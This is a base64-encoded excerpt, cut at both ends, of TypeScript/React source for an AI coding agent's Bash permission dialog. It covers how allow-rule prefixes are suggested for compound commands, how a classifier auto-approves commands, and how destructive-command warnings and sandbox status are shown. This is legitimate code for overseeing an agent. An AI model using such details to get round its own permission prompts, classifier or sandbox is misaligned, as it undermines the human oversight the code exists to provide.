Y29tbWFuZCwgZGVzY3JpcHRpb25dKVxuXG4gIC8vIEdIIzExMzgwOiBGb3IgY29tcG91bmQgY29tbWFuZHMgKGNkIHNyYyAmJiBnaXQgc3RhdHVzICYmIG5wbSB0ZXN0KSwgdGhlXG4gIC8vIGJhY2tlbmQgYWxyZWFkeSBjb21wdXRlZCBjb3JyZWN0IHBlci1zdWJjb21tYW5kIHN1Z2dlc3Rpb25zIHZpYSB0cmVlLXNpdHRlclxuICAvLyBzcGxpdCArIHBlci1zdWJjb21tYW5kIHBlcm1pc3Npb24gY2hlY2tzLiBkZWNpc2lvblJlYXNvbi50eXBlID09PVxuICAvLyAnc3ViY29tbWFuZFJlc3VsdHMnIG1hcmtzIHRoaXMgcGF0aC4gVGhlIHN5bmMgcHJlZml4IGhldXJpc3RpY3MgYmVsb3dcbiAgLy8gKGdldFNpbXBsZUNvbW1hbmRQcmVmaXgvZ2V0Rmlyc3RXb3JkUHJlZml4KSBvcGVyYXRlIG9uIHRoZSBGVUxMIGNvbXBvdW5kXG4gIC8vIHN0cmluZyBhbmQgcGljayB0aGUgZmlyc3QgdHdvIHdvcmRzIOKAlCBwcm9kdWNpbmcgZGVhZCBydWxlcyBsaWtlXG4gIC8vIGBCYXNoKGNkIHNyYzoqKWAgb3IgYEJhc2goLi9zY3JpcHQuc2ggJiYgbnBtIHRlc3QpYCB0aGF0IG5ldmVyIG1hdGNoIGFnYWluLlxuICAvLyBVc2VycyBhY2N1bXVsYXRlIDE1MCsgb2YgdGhlc2UgaW4gc2V0dGluZ3MubG9jYWwuanNvbi5cbiAgLy9cbiAgLy8gV2hlbiBjb21wb3VuZCB3aXRoIGV4YWN0bHkgb25lIEJhc2ggcnVsZSAoZS5nLiBgY2Qgc3JjICYmIG5wbSB0ZXN0YCB3aGVyZVxuICAvLyBjZCBpcyByZWFkLW9ubHkg4oaSIG9ubHkgbnBtIHRlc3QgbmVlZHMgYXBwcm92YWwpLCBzZWVkIHRoZSBlZGl0YWJsZSBpbnB1dFxuICAvLyBmcm9tIHRoZSBiYWNrZW5kIHJ1bGUuIFdoZW4gY29tcG91bmQgd2l0aCAyKyBydWxlcywgZWRpdGFibGVQcmVmaXggc3RheXNcbiAgLy8gdW5kZWZpbmVkIHNvIGJhc2hUb29sVXNlT3B0aW9ucyBmYWxscyB0aHJvdWdoIHRvIHllcy1hcHBseS1zdWdnZXN0aW9ucyxcbiAgLy8gd2hpY2ggc2F2ZXMgYWxsIHBlci1zdWJjb21tYW5kIHJ1bGVzIGF0b21pY2FsbHkuXG4gIGNvbnN0IGlzQ29tcG91bmQgPVxuICAgIHRvb2xVc2VDb25maXJtLnBlcm1pc3Npb25SZXN1bHQuZGVjaXNpb25SZWFzb24/LnR5cGUgPT09ICdzdWJjb21tYW5kUmVzdWx0cydcblxuICAvLyBFZGl0YWJsZSBwcmVmaXgg4oCUIGluaXRpYWxpemUgc3luY2hyb25vdXNseSB3aXRoIHRoZSBiZXN0IHByZWZpeCB3ZSBjYW5cbiAgLy8gZXh0cmFjdCB3aXRob3V0IHRyZWUtc2l0dGVyLCB0aGVuIHJlZmluZSB2aWEgdHJlZS1zaXR0ZXIgZm9yIGNvbXBvdW5kXG4gIC8vIGNvbW1hbmRzLiBUaGUgc3luYyBwYXRoIG1hdHRlcnMgYmVjYXVzZSBUUkVFX1NJVFRFUl9CQVNIIGlzIGdhdGVkXG4gIC8vIGFudC1vbmx5OiBpbiBleHRlcm5hbCBidWlsZHMgdGhlIGFzeW5jIHJlZmluZW1lbnQgYmVsb3cgYWx3YXlzIHJlc29sdmVzXG4gIC8vIHRvIFtdIGFuZCB0aGlzIGluaXRpYWwgdmFsdWUgaXMgd2hhdCB0aGUgdXNlciBzZWVzLlxuICAvL1xuICAvLyBMYXp5IGluaXRpYWxpemVyOiB0aGlzIHJ1bnMgcmVnZXggKyBzcGxpdCBvbiBldmVyeSByZW5kZXIgaWYgbGVmdCBpblxuICAvLyB0aGUgcmVuZGVyIGJvZHk7IGl0J3Mgb25seSBuZWVkZWQgZm9yIGluaXRpYWwgc3RhdGUuXG4gIGNvbnN0IFtlZGl0YWJsZVByZWZpeCwgc2V0RWRpdGFibGVQcmVmaXhdID0gdXNlU3RhdGU8c3RyaW5nIHwgdW5kZWZpbmVkPihcbiAgICAoKSA9PiB7XG4gICAgICBpZiAoaXNDb21wb3VuZCkge1xuICAgICAgICAvLyBCYWNrZW5kIHN1Z2dlc3Rpb24gaXMgdGhlIHNvdXJjZSBvZiB0cnV0aCBmb3IgY29tcG91bmQgY29tbWFuZHMuXG4gICAgICAgIC8vIFNpbmdsZSBydWxlIOKGkiBzZWVkIHRoZSBlZGl0YWJsZSBpbnB1dCBzbyB0aGUgdXNlciBjYW4gcmVmaW5lIGl0LlxuICAgICAgICAvLyBNdWx0aXBsZS96ZXJvIHJ1bGVzIOKGkiB1bmRlZmluZWQg4oaSIHllcy1hcHBseS1zdWdnZXN0aW9ucyBoYW5kbGVzIGl0LlxuICAgICAgICBjb25zdCBiYWNrZW5kQmFzaFJ1bGVzID0gZXh0cmFjdFJ1bGVzKFxuICAgICAgICAgICdzdWdnZXN0aW9ucycgaW4gdG9vbFVzZUNvbmZpcm0ucGVybWlzc2lvblJlc3VsdFxuICAgICAgICAgICAgPyB0b29sVXNlQ29uZmlybS5wZXJtaXNzaW9uUmVzdWx0LnN1Z2dlc3Rpb25zXG4gICAgICAgICAgICA6IHVuZGVmaW5lZCxcbiAgICAgICAgKS5maWx0ZXIociA9PiByLnRvb2xOYW1lID09PSBCYXNoVG9vbC5uYW1lICYmIHIucnVsZUNvbnRlbnQpXG4gICAgICAgIHJldHVybiBiYWNrZW5kQmFzaFJ1bGVzLmxlbmd0aCA9PT0gMVxuICAgICAgICAgID8gYmFja2VuZEJhc2hSdWxlc1swXSEucnVsZUNvbnRlbnRcbiAgICAgICAgICA6IHVuZGVmaW5lZFxuICAgICAgfVxuICAgICAgY29uc3QgdHdvID0gZ2V0U2ltcGxlQ29tbWFuZFByZWZpeChjb21tYW5kKVxuICAgICAgaWYgKHR3bykgcmV0dXJuIGAke3R3b306KmBcbiAgICAgIGNvbnN0IG9uZSA9IGdldEZpcnN0V29yZFByZWZpeChjb21tYW5kKVxuICAgICAgaWYgKG9uZSkgcmV0dXJuIGAke29uZX06KmBcbiAgICAgIHJldHVybiBjb21tYW5kXG4gICAgfSxcbiAgKVxuICBjb25zdCBoYXNVc2VyRWRpdGVkUHJlZml4ID0gdXNlUmVmKGZhbHNlKVxuICBjb25zdCBvbkVkaXRhYmxlUHJlZml4Q2hhbmdlID0gdXNlQ2FsbGJhY2soKHZhbHVlOiBzdHJpbmcpID0+IHtcbiAgICBoYXNVc2VyRWRpdGVkUHJlZml4LmN1cnJlbnQgPSB0cnVlXG4gICAgc2V0RWRpdGFibGVQcmVmaXgodmFsdWUpXG4gIH0sIFtdKVxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIC8vIFNraXAgYXN5bmMgcmVmaW5lbWVudCBmb3IgY29tcG91bmQgY29tbWFuZHMg4oCUIHRoZSBiYWNrZW5kIGFscmVhZHkgcmFuXG4gICAgLy8gdGhlIGZ1bGwgcGVyLXN1YmNvbW1hbmQgYW5hbHlzaXMgYW5kIGl0cyBzdWdnZXN0aW9uIGlzIGNvcnJlY3QuXG4gICAgaWYgKGlzQ29tcG91bmQpIHJldHVyblxuICAgIGxldCBjYW5jZWxsZWQgPSBmYWxzZVxuICAgIGdldENvbXBvdW5kQ29tbWFuZFByZWZpeGVzU3RhdGljKGNvbW1hbmQsIHN1YmNtZCA9PlxuICAgICAgQmFzaFRvb2wuaXNSZWFkT25seSh7IGNvbW1hbmQ6IHN1YmNtZCB9KSxcbiAgICApXG4gICAgICAudGhlbihwcmVmaXhlcyA9PiB7XG4gICAgICAgIGlmIChjYW5jZWxsZWQgfHwgaGFzVXNlckVkaXRlZFByZWZpeC5jdXJyZW50KSByZXR1cm5cbiAgICAgICAgaWYgKHByZWZpeGVzLmxlbmd0aCA+IDApIHtcbiAgICAgICAgICBzZXRFZGl0YWJsZVByZWZpeChgJHtwcmVmaXhlc1swXX06KmApXG4gICAgICAgIH1cbiAgICAgIH0pXG4gICAgICAuY2F0Y2goKCkgPT4ge30pIC8vIEtlZXAgc3luYyBwcmVmaXggb24gdHJlZS1zaXR0ZXIgZmFpbHVyZVxuICAgIHJldHVybiAoKSA9PiB7XG4gICAgICBjYW5jZWxsZWQgPSB0cnVlXG4gICAgfVxuICB9LCBbY29tbWFuZCwgaXNDb21wb3VuZF0pXG5cbiAgLy8gVHJhY2sgd2hldGhlciBjbGFzc2lmaWVyIGNoZWNrIHdhcyBldmVyIGluIHByb2dyZXNzIChwZXJzaXN0cyBhZnRlciBjb21wbGV0aW9uKS5cbiAgLy8gY2xhc3NpZmllckNoZWNrSW5Qcm9ncmVzcyBpcyBzZXQgb25jZSBhdCBxdWV1ZS1wdXNoIHRpbWUgKGludGVyYWN0aXZlSGFuZGxlcilcbiAgLy8gYW5kIG9ubHkgZXZlciB0cmFuc2l0aW9ucyB0cnVl4oaSZmFsc2UsIHNvIGNhcHR1cmluZyB0aGUgbW91bnQtdGltZSB2YWx1ZSBpc1xuICAvLyBzdWZmaWNpZW50IOKAlCBubyBsYXRjaC9yZWYgbmVlZGVkLiBUaGUgZmVhdHVyZSgpIHRlcm5hcnkga2VlcHMgdGhlIHByb3BlcnR5XG4gIC8vIHJlYWQgb3V0IG9mIGV4dGVybmFsIGJ1aWxkcyAoZm9yYmlkZGVuLXN0cmluZyBjaGVjaykuXG4gIGNvbnN0IFtjbGFzc2lmaWVyV2FzQ2hlY2tpbmddID0gdXNlU3RhdGUoXG4gICAgZmVhdHVyZSgnQkFTSF9DTEFTU0lGSUVSJylcbiAgICAgID8gISF0b29sVXNlQ29uZmlybS5jbGFzc2lmaWVyQ2hlY2tJblByb2dyZXNzXG4gICAgICA6IGZhbHNlLFxuICApXG5cbiAgLy8gVGhlc2UgZGVyaXZlIHNvbGVseSBmcm9tIHRoZSB0b29sIGlucHV0IChmaXhlZCBmb3IgdGhlIGRpYWxvZyBsaWZldGltZSkuXG4gIC8vIFRoZSBzaGltbWVyIGNsb2NrIHVzZWQgdG8gbGl2ZSBpbiB0aGlzIGNvbXBvbmVudCBhbmQgcmUtcmVuZGVyIGl0IGF0IDIwZnBzXG4gIC8vIHdoaWxlIHRoZSBjbGFzc2lmaWVyIHJhbiAoc2VlIENsYXNzaWZpZXJDaGVja2luZ1N1YnRpdGxlIGFib3ZlIGZvciB0aGVcbiAgLy8gZXh0cmFjdGlvbikuIFJlYWN0IENvbXBpbGVyIGNhbid0IGF1dG8tbWVtb2l6ZSBpbXBvcnRlZCBmdW5jdGlvbnMgKGNhbid0XG4gIC8vIHByb3ZlIHNpZGUtZWZmZWN0IGZyZWVkb20pLCBzbyB0aGlzIHVzZU1lbW8gc3RpbGwgZ3VhcmRzIGFnYWluc3QgYW55XG4gIC8vIHJlLXJlbmRlciBzb3VyY2UgKGUuZy4gSW5uZXIgc3RhdGUgdXBkYXRlcykuIFNhbWUgcGF0dGVybiBhcyBQUiMyMDczMC5cbiAgY29uc3QgeyBkZXN0cnVjdGl2ZVdhcm5pbmcsIHNhbmRib3hpbmdFbmFibGVkLCBpc1NhbmRib3hlZCB9ID0gdXNlTWVtbygoKSA9PiB7XG4gICAgY29uc3QgZGVzdHJ1Y3RpdmVXYXJuaW5nID0gZ2V0RmVhdHVyZVZhbHVlX0NBQ0hFRF9NQVlfQkVfU1RBTEUoXG4gICAgICAndGVuZ3VfZGVzdHJ1Y3RpdmVfY29tbWFuZF93YXJuaW5nJyxcbiAgICAgIGZhbHNlLFxuICAgIClcbiAgICAgID8gZ2V0RGVzdHJ1Y3RpdmVDb21tYW5kV2FybmluZyhjb21tYW5kKVxuICAgICAgOiBudWxsXG5cbiAgICBjb25zdCBzYW5kYm94aW5nRW5hYmxlZCA9IFNhbmRib3hNYW5hZ2VyLmlzU2FuZGJveGluZ0VuYWJsZWQoKVxuICAgIGNvbnN0IGlzU2FuZGJveGVkID1cbiAgICAgIHNhbmRib3hpbmdFbmFibGVkICYmIHNob3VsZFVzZVNhbmRib3godG9vbFVzZUNvbmZpcm0uaW5wdXQpXG5cbiAgICByZXR1cm4geyBkZXN0cnVjdGl2ZVdhcm5pbmcsIHNhbmRib3hpbmdFbmFibGVkLCBpc1NhbmRib3hlZCB9XG4gIH0sIFtjb21tYW5kLCB0b29sVXNlQ29uZmlybS5pbnB1dF0pXG5cbiAgY29uc3QgdW5hcnlFdmVudCA9IHVzZU1lbW88VW5hcnlFdmVudD4oXG4gICAgKCkgPT4gKHsgY29tcGxldGlvbl90eXBlOiAndG9vbF91c2Vfc2luZ2xlJywgbGFuZ3VhZ2VfbmFtZTogJ25vbmUnIH0pLFxuICAgIFtdLFxuICApXG5cbiAgdXNlUGVybWlzc2lvblJlcXVlc3RMb2dnaW5nKHRvb2xVc2VDb25maXJtLCB1bmFyeUV2ZW50KVxuXG4gIGNvbnN0IGV4aXN0aW5nQWxsb3dEZXNjcmlwdGlvbnMgPSB1c2VNZW1vKFxuICAgICgpID0+IGdldEJhc2hQcm9tcHRBbGxvd0Rlc2NyaXB0aW9ucyh0b29sUGVybWlzc2lvbkNvbnRleHQpLFxuICAgIFt0b29sUGVybWlzc2lvbkNvbnRleHRdLFxuICApXG5cbiAgY29uc3Qgb3B0aW9ucyA9IHVzZU1lbW8oXG4gICAgKCkgPT5cbiAgICAgIGJhc2hUb29sVXNlT3B0aW9ucyh7XG4gICAgICAgIHN1Z2dlc3Rpb25zOlxuICAgICAgICAgIHRvb2xVc2VDb25maXJtLnBlcm1pc3Npb25SZXN1bHQuYmVoYXZpb3IgPT09ICdhc2snXG4gICAgICAgICAgICA/IHRvb2xVc2VDb25maXJtLnBlcm1pc3Npb25SZXN1bHQuc3VnZ2VzdGlvbnNcbiAgICAgICAgICAgIDogdW5kZWZpbmVkLFxuICAgICAgICBkZWNpc2lvblJlYXNvbjogdG9vbFVzZUNvbmZpcm0ucGVybWlzc2lvblJlc3VsdC5kZWNpc2lvblJlYXNvbixcbiAgICAgICAgb25SZWplY3RGZWVkYmFja0NoYW5nZTogc2V0UmVqZWN0RmVlZGJhY2ssXG4gICAgICAgIG9uQWNjZXB0RmVlZGJhY2tDaGFuZ2U6IHNldEFjY2VwdEZlZWRiYWNrLFxuICAgICAgICBvbkNsYXNzaWZpZXJEZXNjcmlwdGlvbkNoYW5nZTogc2V0Q2xhc3NpZmllckRlc2NyaXB0aW9uLFxuICAgICAgICBjbGFzc2lmaWVyRGVzY3JpcHRpb24sXG4gICAgICAgIGluaXRpYWxDbGFzc2lmaWVyRGVzY3JpcHRpb25FbXB0eSxcbiAgICAgICAgZXhpc3RpbmdBbGxvd0Rlc2NyaXB0aW9ucyxcbiAgICAgICAgeWVzSW5wdXRNb2RlLFxuICAgICAgICBub0lucHV0TW9kZSxcbiAgICAgICAgZWRpdGFibGVQcmVmaXgsXG4gICAgICAgIG9uRWRpdGFibGVQcmVmaXhDaGFuZ2UsXG4gICAgICB9KSxcbiAgICBbXG4gICAgICB0b29sVXNlQ29uZmlybSxcbiAgICAgIGNsYXNzaWZpZXJEZXNjcmlwdGlvbixcbiAgICAgIGluaXRpYWxDbGFzc2lmaWVyRGVzY3JpcHRpb25FbXB0eSxcbiAgICAgIGV4aXN0aW5nQWxsb3dEZXNjcmlwdGlvbnMsXG4gICAgICB5ZXNJbnB1dE1vZGUsXG4gICAgICBub0lucHV0TW9kZSxcbiAgICAgIGVkaXRhYmxlUHJlZml4LFxuICAgICAgb25FZGl0YWJsZVByZWZpeENoYW5nZSxcbiAgICBdLFxuICApXG5cbiAgLy8gVG9nZ2xlIHBlcm1pc3Npb24gZGVidWcgaW5mbyB3aXRoIGtleWJpbmRpbmdcbiAgY29uc3QgaGFuZGxlVG9nZ2xlRGVidWcgPSB1c2VDYWxsYmFjaygoKSA9PiB7XG4gICAgc2V0U2hvd1Blcm1pc3Npb25EZWJ1ZyhwcmV2ID0+ICFwcmV2KVxuICB9LCBbXSlcbiAgdXNlS2V5YmluZGluZygncGVybWlzc2lvbjp0b2dnbGVEZWJ1ZycsIGhhbmRsZVRvZ2dsZURlYnVnLCB7XG4gICAgY29udGV4dDogJ0NvbmZpcm1hdGlvbicsXG4gIH0pXG5cbiAgLy8gQWxsb3cgRXNjIHRvIGRpc21pc3MgdGhlIGNoZWNrbWFyayBhZnRlciBhdXRvLWFwcHJvdmFsXG4gIGNvbnN0IGhhbmRsZURpc21pc3NDaGVja21hcmsgPSB1c2VDYWxsYmFjaygoKSA9PiB7XG4gICAgdG9vbFVzZUNvbmZpcm0ub25EaXNtaXNzQ2hlY2ttYXJrPy4oKVxuICB9LCBbdG9vbFVzZUNvbmZpcm1dKVxuICB1c2VLZXliaW5kaW5nKCdjb25maXJtOm5vJywgaGFuZGxlRGlzbWlzc0NoZWNrbWFyaywge1xuICAgIGNvbnRleHQ6ICdDb25maXJtYXRpb24nLFxuICAgIGlzQWN0aXZlOiBmZWF0dXJlKCdCQVNIX0NMQVNTSUZJRVInKVxuICAgICAgPyAhIXRvb2xVc2VDb25maXJtLmNsYXNzaWZpZXJBdXRvQXBwcm92ZWRcbiAgICAgIDogZmFsc2UsXG4gIH0pXG5cbiAgZnVuY3Rpb24gb25TZWxlY3QodmFsdWU6IHN0cmluZykge1xuICAgIC8vIE1hcCBvcHRpb25zIHRvIG51bWVyaWMgdmFsdWVzIGZvciBhbmFseXRpY3MgKHN0cmluZ3Mgbm90IGFsbG93ZWQgaW4gbG9nRXZlbnQpXG4gICAgbGV0IG9wdGlvbkluZGV4OiBSZWNvcmQ8c3RyaW5nLCBudW1iZXI+ID0ge1xuICAgICAgeWVzOiAxLFxuICAgICAgJ3llcy1hcHBseS1zdWdnZXN0aW9ucyc6IDIsXG4gICAgICAneWVzLXByZWZpeC1lZGl0ZWQnOiAyLFxuICAgICAgbm86IDMsXG4gICAgfVxuICAgIGlmIChmZWF0dXJlKCdCQVNIX0NMQVNTSUZJRVInKSkge1xuICAgICAgb3B0aW9uSW5kZXggPSB7XG4gICAgICAgIHllczogMSxcbiAgICAgICAgJ3llcy1hcHBseS1zdWdnZXN0aW9ucyc6IDIsXG4gICAgICAgICd5ZXMtcHJlZml4LWVkaXRlZCc6IDIsXG4gICAgICAgICd5ZXMtY2xhc3NpZmllci1yZXZpZXdlZCc6IDMsXG4gICAgICAgIG5vOiA0LFxuICAgICAgfVxuICAgIH1cbiAgICBsb2dFdmVudCgndGVuZ3VfcGVybWlzc2lvbl9yZXF1ZXN0X29wdGlvbl9zZWxlY3RlZCcsIHtcbiAgICAgIG9wdGlvbl9pbmRleDogb3B0aW9uSW5kZXhbdmFsdWVdLFxuICAgICAgZXhwbGFpbmVyX3Zpc2libGU6IGV4cGxhaW5lclN0YXRlLnZpc2libGUsXG4gICAgfSlcblxuICAgIGNvbnN0IHRvb2xOYW1lRm9yQW5hbHl0aWNzID0gc2FuaXRpemVUb29sTmFtZUZvckFuYWx5dGljcyhcbiAgICAgIHRvb2xVc2VDb25maXJtLnRvb2wubmFtZSxcbiAgICApIGFzIEFuYWx5dGljc01ldGFkYXRhX0lfVkVSSUZJRURfVEhJU19JU19OT1RfQ09ERV9PUl9GSUxFUEFUSFNcblxuICAgIGlmICh2YWx1ZSA9PT0gJ3llcy1wcmVmaXgtZWRpdGVkJykge1xuICAgICAgY29uc3QgdHJpbW1lZFByZWZpeCA9IChlZGl0YWJsZVByZWZpeCA/PyAnJykudHJpbSgpXG4gICAgICBsb2dVbmFyeVBlcm1pc3Npb25FdmVudCgndG9vbF91c2Vfc2luZ2xlJywgdG9vbFVzZUNvbmZpcm0sICdhY2NlcHQnKVxuICAgICAgaWYgKCF0cmltbWVkUHJlZml4KSB7XG4gICAgICAgIHRvb2xVc2VDb25maXJtLm9uQWxsb3codG9vbFVzZUNvbmZpcm0uaW5wdXQsIFtdKVxuICAgICAgfSBlbHNlIHtcbiAgICAgICAgY29uc3QgcHJlZml4VXBkYXRlczogUGVybWlzc2lvblVwZGF0ZVtdID0gW1xuICAgICAgICAgIHtcbiAgICAgICAgICAgIHR5cGU6ICdhZGRSdWxlcycsXG4gICAgICAgICAgICBydWxlczogW1xuICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgdG9vbE5hbWU6IEJhc2hUb29sLm5hbWUsXG4gICAgICAgICAgICAgICAgcnVsZUNvbnRlbnQ6IHRyaW1tZWRQcmVmaXgsXG4gICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICBdLFxuICAgICAgICAgICAgYmVoYXZpb3I6ICdhbGxvdycsXG4gICAgICAgICAgICBkZXN0aW5hdGlvbjogJ2xvY2FsU2V0dGluZ3MnLFxuICAgICAgICAgIH0sXG4gICAgICAgIF1cbiAgICAgICAgdG9vbFVzZUNvbmZpcm0ub25BbGxvdyh0b29sVXNlQ29uZmlybS5pbnB1dCwgcHJlZml4VXBkYXRlcylcbiAgICAgIH1cbiAgICAgIG9uRG9uZSgpXG4gICAgICByZXR1cm5cbiAgICB9XG5cbiAgICBpZiAoZmVhdHVyZSgnQkFTSF9DTEFTU0lGSUVSJykgJiYgdmFsdWUgPT09ICd5ZXMtY2xhc3NpZmllci1yZXZpZXdlZCcpIHtcbiAgICAgIGNvbnN0IHRyaW1tZWREZXNjcmlwdGlvbiA9IGNsYXNzaWZpZXJEZXNjcmlwdGlvbi50cmltKClcbiAgICAgIGxvZ1VuYXJ5UGVybWlzc2lvbkV2ZW50KCd0b29sX3VzZV9zaW5nbGUnLCB0b29sVXNlQ29uZmlybSwgJ2FjY2VwdCcpXG4gICAgICBpZiAoIXRyaW1tZWREZXNjcmlwdGlvbikge1xuICAgICAgICB0b29sVXNlQ29uZmlybS5vbkFsbG93KHRvb2xVc2VDb25maXJtLmlucHV0LCBbXSlcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIGNvbnN0IHBlcm1pc3Npb25VcGRhdGVzOiBQZXJtaXNzaW9uVXBkYXRlW10gPSBbXG4gICAgICAgICAge1xuICAgICAgICAgICAgdHlwZTogJ2FkZFJ1bGVzJyxcbiAgICAgICAgICAgIHJ1bGVzOiBbXG4gICAgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICB0b29sTmFtZTogQmFzaFRvb2wubmFtZSxcbiAgICAgICAgICAgICAgICBydWxlQ29udGVudDogY3JlYXRlUHJvbXB0UnVsZUNvbnRlbnQodHJpbW1lZERlc2NyaXB0aW9uKSxcbiAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgIF0sXG4gICAgICAgICAgICBiZWhhdmlvcjogJ2FsbG93JyxcbiAgICAgICAgICAgIGRlc3RpbmF0aW9uOiAnc2Vzc2lvbicsXG4gICAgICAgICAgfSxcbiAgICAgICAgXVxuICAgICAgICB0b29sVXNlQ29uZmlybS5vbkFsbG93KHRvb2xVc2VDb25maXJtLmlucHV0LCBwZXJtaXNzaW9uVXBkYXRlcylcbiAgICAgIH1cbiAgICAgIG9uRG9uZSgpXG4gICAgICByZXR1cm5cbiAgICB9XG5cbiAgICBzd2l0Y2ggKHZhbHVlKSB7XG4gICAgICBjYXNlICd5ZXMnOiB7XG4gICAgICAgIGNvbnN0IHRyaW1tZWRGZWVkYmFjayA9IGFjY2VwdEZlZWRiYWNrLnRyaW0oKVxuICAgICAgICBsb2dVbmFyeVBlcm1pc3Npb25FdmVudCgndG9vbF91c2Vfc2luZ2xlJywgdG9vbFVzZUNvbmZpcm0sICdhY2NlcHQnKVxuICAgICAgICAvLyBMb2cgYWNjZXB0IHN1Ym1pc3Npb24gd2l0aCBmZWVkYmFjayBjb250ZXh0XG4gICAgICAgIGxvZ0V2ZW50KCd0ZW5ndV9hY2NlcHRfc3VibWl0dGVkJywge1xuICAgICAgICAgIHRvb2xOYW1lOiB0b29sTmFtZUZvckFuYWx5dGljcyxcbiAgICAgICAgICBpc01jcDogdG9vbFVzZUNvbmZpcm0udG9vbC5pc01jcCA/PyBmYWxzZSxcbiAgICAgICAgICBoYXNfaW5zdHJ1Y3Rpb25zOiAhIXRyaW1tZWRGZWVkYmFjayxcbiAgICAgICAgICBpbnN0cnVjdGlvbnNfbGVuZ3RoOiB0cmltbWVkRmVlZGJhY2subGVuZ3RoLFxuICAgICAgICAgIGVudGVyZWRfZmVlZGJhY2tfbW9kZTogeWVzRmVlZGJhY2tNb2RlRW50ZXJlZCxcbiAgICAgICAgfSlcbiAgICAgICAgdG9vbFVzZUNvbmZpcm0ub25BbGxvdyhcbiAgICAgICAgICB0b29sVXNlQ29uZmlybS5pbnB1dCxcbiAgICAgICAgICBbXSxcbiAgICAgICAgICB0cmltbWVkRmVlZGJhY2sgfHwgdW5kZWZpbmVkLFxuICAgICAgICApXG4gICAgICAgIG9uRG9uZSgpXG4gICAgICAgIGJyZWFrXG4gICAgICB9XG4gICAgICBjYXNlICd5ZXMtYXBwbHktc3VnZ2VzdGlvbnMnOiB7XG4gICAgICAgIGxvZ1VuYXJ5UGVybWlzc2lvbkV2ZW50KCd0b29sX3VzZV9zaW5nbGUnLCB0b29sVXNlQ29uZmlybSwgJ2FjY2VwdCcpXG4gICAgICAgIC8vIEV4dHJhY3Qgc3VnZ2VzdGlvbnMgaWYgcHJlc2VudCAod29ya3MgZm9yIGJvdGggJ2FzaycgYW5kICdwYXNzdGhyb3VnaCcgYmVoYXZpb3JzKVxuICAgICAgICBjb25zdCBwZXJtaXNzaW9uVXBkYXRlcyA9XG4gICAgICAgICAgJ3N1Z2dlc3Rpb25zJyBpbiB0b29sVXNlQ29uZmlybS5wZXJtaXNzaW9uUmVzdWx0XG4gICAgICAgICAgICA/IHRvb2xVc2VDb25maXJtLnBlcm1pc3Npb25SZXN1bHQuc3VnZ2VzdGlvbnMgfHwgW11cbiAgICAgICAgICAgIDogW11cbiAgICAgICAgdG9vbFVzZUNvbmZpcm0ub25BbGxvdyh0b29sVXNlQ29uZmlybS5pbnB1dCwgcGVybWlzc2lvblVwZGF0ZXMpXG4gICAgICAgIG9uRG9uZSgpXG4gICAgICAgIGJyZWFrXG4gICAgICB9XG4gICAgICBjYXNlICdubyc6IHtcbiAgICAgICAgY29uc3QgdHJpbW1lZEZlZWRiYWNrID0gcmVqZWN0RmVlZGJhY2sudHJpbSgpXG5cbiAgICAgICAgLy8gTG9nIHJlamVjdCBzdWJtaXNzaW9uIHdpdGggZmVlZGJhY2sgY29udGV4dFxuICAgICAgICBsb2dFdmVudCgndGVuZ3VfcmVqZWN0X3N1Ym1pdHRlZCcsIHtcbiAgICAgICAgICB0b29sTmFtZTogdG9vbE5hbWVGb3JBbmFseXRpY3MsXG4gICAgICAgICAgaXNNY3A6IHRvb2xVc2VDb25maXJtLnRvb2wuaXNNY3AgPz8gZmFsc2UsXG4gICAgICAgICAgaGFzX2luc3RydWN0aW9uczogISF0cmltbWVkRmVlZGJhY2ssXG4gICAgICAgICAgaW5zdHJ1Y3Rpb25zX2xlbmd0aDogdHJpbW1lZEZlZWRiYWNrLmxlbmd0aCxcbiAgICAgICAgICBlbnRlcmVkX2ZlZWRiYWNrX21vZGU6IG5vRmVlZGJhY2tNb2RlRW50ZXJlZCxcbiAgICAgICAgfSlcblxuICAgICAgICAvLyBQcm9jZXNzIHJlamVjdGlvbiAod2l0aCBvciB3aXRob3V0IGZlZWRiYWNrKVxuICAgICAgICBoYW5kbGVSZWplY3QodHJpbW1lZEZlZWRiYWNrIHx8IHVuZGVmaW5lZClcbiAgICAgICAgYnJlYWtcbiAgICAgIH1cbiAgICB9XG4gIH1cblxuICBjb25zdCBjbGFzc2lmaWVyU3VidGl0bGUgPSBmZWF0dXJlKCdCQVNIX0NMQVNTSUZJRVInKSA/IChcbiAgICB0b29sVXNlQ29uZmlybS5jbGFzc2lmaWVyQXV0b0FwcHJvdmVkID8gKFxuICAgICAgPFRleHQ+XG4gICAgICAgIDxUZXh0IGNvbG9yPVwic3VjY2Vzc1wiPntmaWd1cmVzLnRpY2t9IEF1dG8tYXBwcm92ZWQ8L1RleHQ+XG4gICAgICAgIHt0b29sVXNlQ29uZmlybS5jbGFzc2lmaWVyTWF0Y2hlZFJ1bGUgJiYgKFxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgeycgXFx1MDBiNyBtYXRjaGVkIFwiJ31cbiAgICAgICAgICAgIHt0b29sVXNlQ29uZmlybS5jbGFzc2lmaWVyTWF0Y2hlZFJ1bGV9XG4gICAgICAgICAgICB7J1wiJ31cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICl9XG4gICAgICA8L1RleHQ+XG4gICAgKSA6IHRvb2xVc2VDb25maXJtLmNsYXNzaWZpZXJDaGVja0luUHJvZ3Jlc3MgPyAoXG4gICAgICA8Q2xhc3NpZmllckNoZWNraW5nU3VidGl0bGUgLz5cbiAgICApIDogY2xhc3NpZmllcldhc0NoZWNraW5nID8gKFxuICAgICAgPFRleHQgZGltQ29sb3I+UmVxdWlyZXMgbWFudWFsIGFwcHJvdmFsPC9UZXh0PlxuICAgICkgOiB1bmRlZmluZWRcbiAgKSA6IHVuZGVmaW5lZFxuXG4gIHJldHVybiAoXG4gICAgPFBlcm1pc3Npb25EaWFsb2dcbiAgICAgIHdvcmtlckJhZGdlPXt3b3JrZXJCYWRnZX1cbiAgICAgIHRpdGxlPXtcbiAgICAgICAgc2FuZGJveGluZ0VuYWJsZWQgJiYgIWlzU2FuZGJveGVkXG4gICAgICAgICAgPyAnQmFzaCBjb21tYW5kICh1bnNhbmRib3hlZCknXG4gICAgICAgICAgOiAnQmFzaCBjb21tYW5kJ1xuICAgICAgfVxuICAgICAgc3VidGl0bGU9e2NsYX